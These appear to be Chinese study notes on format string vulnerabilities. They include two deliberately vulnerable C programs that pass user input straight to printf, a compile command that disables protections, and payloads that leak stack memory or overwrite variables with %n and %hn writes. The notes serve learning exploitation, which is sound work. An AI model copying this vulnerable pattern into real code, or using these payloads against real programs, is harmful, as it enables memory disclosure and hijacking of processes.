泄露内存

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

$gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

  1. %08x.%08x 以8位16进制方式输出print函数第一、二个参数
  2. %p.%p 与第一个等价
  3. %3$x 以8位16进制方式输出print函数第三个参数
  4. addr%4$x 以8位16进制方式输出addr对应函数的第四个参数
  5. [padding][addr]%4$x 同上,[padding]为填充字符

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
  1. …[overwrite addr]….%[overwrite offset]$n … 表示填充内容,overwrite addr 表示覆盖的地址,overwrite offset 地址表示覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数($n为0-0xffffffff,$hn为0-0xffff,$hhn为0-0xff)
  2. [addr of c]%012d%6$n 覆盖从c为0x10(填充入字符串长度),%012补充长度至0x10
  3. a%8$naaa[addr of a] 覆盖a变量为1,最大可为4(a为填充字符,使地址对齐)
  4. %016c%8$naaa[addr of a] 覆盖a变量为0x10
  5. p32(b_addr) + p32(b_addr + 1) + p32(b_addr + 2) + p32(b_addr + 3) + ‘%104c%6$hn’ + ‘%070c%7$hn’+ ‘%036c%8$hn’+ ‘%002c’%9$hn’ 覆盖b变量为0xe4e2be78(0xbe=16+104+70,0xe2=16+104+70+36,以此类推,超出256则减去256)

另外,格式化字符串所用到的参数会被依次压入printf内部函数的栈中保存(比如输入%100$p就会将第100位置处的值取出后再压入printf栈中保存以备后续操作)。